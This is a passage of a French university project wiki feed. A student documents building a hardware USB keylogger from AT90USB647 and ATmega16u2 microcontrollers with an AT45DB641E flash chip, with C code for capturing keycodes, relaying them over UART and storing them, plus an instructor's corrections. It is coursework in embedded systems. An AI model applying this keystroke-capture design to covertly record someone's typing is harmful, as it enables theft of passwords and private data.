			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essaie de code, j'ai observé qu'à chaque envoie d'octet via la liaison série et de la fonction '''''Serial_SendByte''''', on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentée, mais parmis elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'ancien programme se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=791</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=791"/>
		<updated>2023-08-12T07:30:57Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
